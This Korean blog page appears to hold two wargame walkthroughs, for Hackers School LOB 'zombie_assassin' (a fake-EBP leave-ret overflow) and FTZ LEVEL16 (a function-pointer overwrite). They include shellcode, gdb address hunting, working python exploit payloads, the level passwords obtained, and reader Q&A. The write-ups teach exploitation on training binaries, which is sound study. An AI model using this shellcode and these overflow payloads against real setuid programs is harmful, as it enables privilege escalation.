728x90
반응형
728x90
반응형
728x90
반응형


해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이


M4ndU




해커스쿨 LOB [assassin -> zombie_assassin] 풀이입니다.


ID | assassin

PW | pushing me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: assassin

Password:

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls -l

total 16

-rwsr-sr-x    1 zombie_a zombie_a    12144 Mar 30  2010 zombie_assassin

-rw-r--r--    1 root     root          557 Mar 30  2010 zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}



이번에는 argv[1]의 길이를 48바이트로 제한한다

그러면 ret주소까지만 덮을 수 있다.


주어진 힌트는 FEBP다. fack ebp를 의미한다.


leave-ret을 이용해서

ebp를 buffer의 시작주소로 조작해주고 ret주소를 leave의 주소로 조작해준다면,


leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)

leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)


에 의해 두번째 leave부터 우리가 조작한 ebp가 esp에 들어가게 되고,

pop ebp로 buffer의 4바이트 나가고 그다음 4바이트가 pop eip로 eip에 들어간다.


페이로드를 구성하면


dummy[4]+&shellcode[4]+dummy[32]+&buffer[4]+&leave[4]



그럼 쉘코드의 주소와 buffer의 주소와 leave의 주소를 구해주자.


쉘코드는 환경변수를 이용했습니다.


[assassin@localhost assassin]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[assassin@localhost assassin]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[assassin@localhost assassin]$ gcc getenv.c -o getenv

[assassin@localhost assassin]$ ./getenv

ADDR -> 0xbffffe83




buffer의 주소를 구해줍시다.


[assassin@localhost assassin]$ mkdir tmp

[assassin@localhost assassin]$ cp zombie_assassin tmp/

[assassin@localhost assassin]$ cd tmp/

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "D"*48'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core -q
Core was generated by `./zombie_assassin DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) x/20x $esp-80
0xbffffa30:     0x40106980      0x0804857e      0xbffffa50      0x401081ec
0xbffffa40:     0xbffffa78      0x080484dc      0x0804857e      0xbffffa50
0xbffffa50:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa60:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa70:     0x44444444      0x44444444      0x44444444      0x44444444


0xbffffa50부터 0x44로 채워져 있네요.



그 다음 leave의 주소를 구합니다.


[assassin@localhost assassin]$ gdb zombie_assassin -q

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

(생략)

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret


&shellcode | 0xbffffe83
&buffer | 0xbffffa50
&leave | 0x080484df


./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`



[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ id

uid=515(assassin) gid=515(assassin) groups=515(assassin)

bash$ exit

exit

[assassin@localhost tmp]$ cd ..

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

Segmentation fault



복사본에선 쉘이 뜨는데 원본에선 뜨지 않네요..


[assassin@localhost assassin]$ mkdir h

[assassin@localhost assassin]$ cp zombie_assassin h/

[assassin@localhost assassin]$ cd h/

[assassin@localhost h]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ exit

exit

[assassin@localhost h]$ cd ..6

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ my-pass

euid = 516

no place to hide



음....

계속 하다보니 됐습니다...

혀튼 성공했으니 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




728x90
반응형
728x90
반응형


해커스쿨 FTZ [LEVEL16] 풀이


M4ndU




해커스쿨 FTZ [LEVEL16] 풀이입니다.


ID | level16

PW | about to cause mass


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level16

level16@192.168.31.128's password:

[level16@ftz level16]$ ls -l

total 32

-rwsr-x---    1 level17  level16     14017 Mar  8  2003 attackme

-rw-r-----    1 root     root          235 Mar  8  2003 attackme.c

-rw-r-----    1 root     level16       235 Mar  8  2003 hint

drwxr-xr-x    2 root     level16      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level16      4096 Jan 11  2009 tmp

[level16@ftz level16]$ cat hint



#include <stdio.h>


void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}


20바이트의 buf에 48바이트 입력을 받고, call()를 하는데 printit함수의 주소를 call을 하는 것 같습니다.
우리는 shell함수를 call하도록 만들면 되겠네요.

변수 buf가 선언되고 *call이 선언되었으니  call부분을 덮어쓸 수 있을 것 같습니다.
이제 buf와 call의 거리를 계산해 봅시다.

[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56]
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret


ebp-16에 0x8048500을 넣고
ebp-56에 입력값을 받으니

ebp-56이 buf이고, ebp-16이 call 인것 같습니다.
그러면 ebp-16에 들어간 0x8048500은 printit 함수의 시작주소이겠죠?
확인해 봅시다.

(gdb) disas printit

Dump of assembler code for function printit:

0x08048500 <printit+0>: push   ebp

0x08048501 <printit+1>: mov    ebp,esp

0x08048503 <printit+3>: sub    esp,0x8

0x08048506 <printit+6>: sub    esp,0xc

0x08048509 <printit+9>: push   0x80485c0

0x0804850e <printit+14>:        call   0x80483a4 <printf>

0x08048513 <printit+19>:        add    esp,0x10

0x08048516 <printit+22>:        leave

0x08048517 <printit+23>:        ret

End of assembler dump.


맞네요.
우리는 ebp-16의 값을 printit함수의 시작주소가 아닌 shell함수의 시작주소로 바꿔주는 것이 목표이므로
shell함수의 시작주소도 확인해 봅시다.

(gdb) disas shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>:   push   ebp

0x080484d1 <shell+1>:   mov    ebp,esp

0x080484d3 <shell+3>:   sub    esp,0x8

0x080484d6 <shell+6>:   sub    esp,0x8

0x080484d9 <shell+9>:   push   0xc19

0x080484de <shell+14>:  push   0xc19

0x080484e3 <shell+19>:  call   0x80483b4 <setreuid>

0x080484e8 <shell+24>:  add    esp,0x10

0x080484eb <shell+27>:  sub    esp,0xc

0x080484ee <shell+30>:  push   0x80485b8

0x080484f3 <shell+35>:  call   0x8048364 <system>

0x080484f8 <shell+40>:  add    esp,0x10

0x080484fb <shell+43>:  leave

0x080484fc <shell+44>:  ret



shell함수의 시작주소는 0x080484d0 이네요.
이제 익스플로잇을 작성합시다!

(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


my-pass


Level17 Password is "king poetic".



성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
  1. 세인 2019.07.29 16:18

    안녕하세요 또 궁금한게 있어서 찾아왔습니다...헤헤
    혼자 풀긴 풀었는데 다시 풀이를 봐도 모르는 게 있었습니다
    \xd0\x84\x04\x08 을 하면 왜 덮어써지는 거죠???
    도대체 왜 바뀌는지 모르겠습니다. 저렇게 한다고 덮어지는건가...
    자세한 설명 부탁드리겠습니다

    • M4ndU 2019.07.29 18:04 신고

      입력받는 길이가 buf의 범위를 넘기다 보니, buf의 메모리 영역을 채우고도 더 넘어가 *call의 메모리 영역까지 침범하여 write하게 됩니다. (이를 이용해 *call의 메모리 영역에 shell함수 주소를 넣어주는 것입니다.) 그리고 overwrite된 *call의 메모리 영역을 읽어와 call하면서 쉘 함수가 실행됩니다.

  2. 세인 2019.07.30 00:22

    항상 친절한 답변 감사드립니다 ftz해설은 항상 만두님 블로그를 1순위로 봐용ㅎㅋㅋㅋㅋㅋㅋㅋ 또 궁금한 거 있으면 여쭈러 오겠습니당 !!

    • M4ndU 2019.07.30 02:03 신고

      부족한 글들인데 잘 봐주셔서 감사합니다. ㅎㅎ

+ Recent posts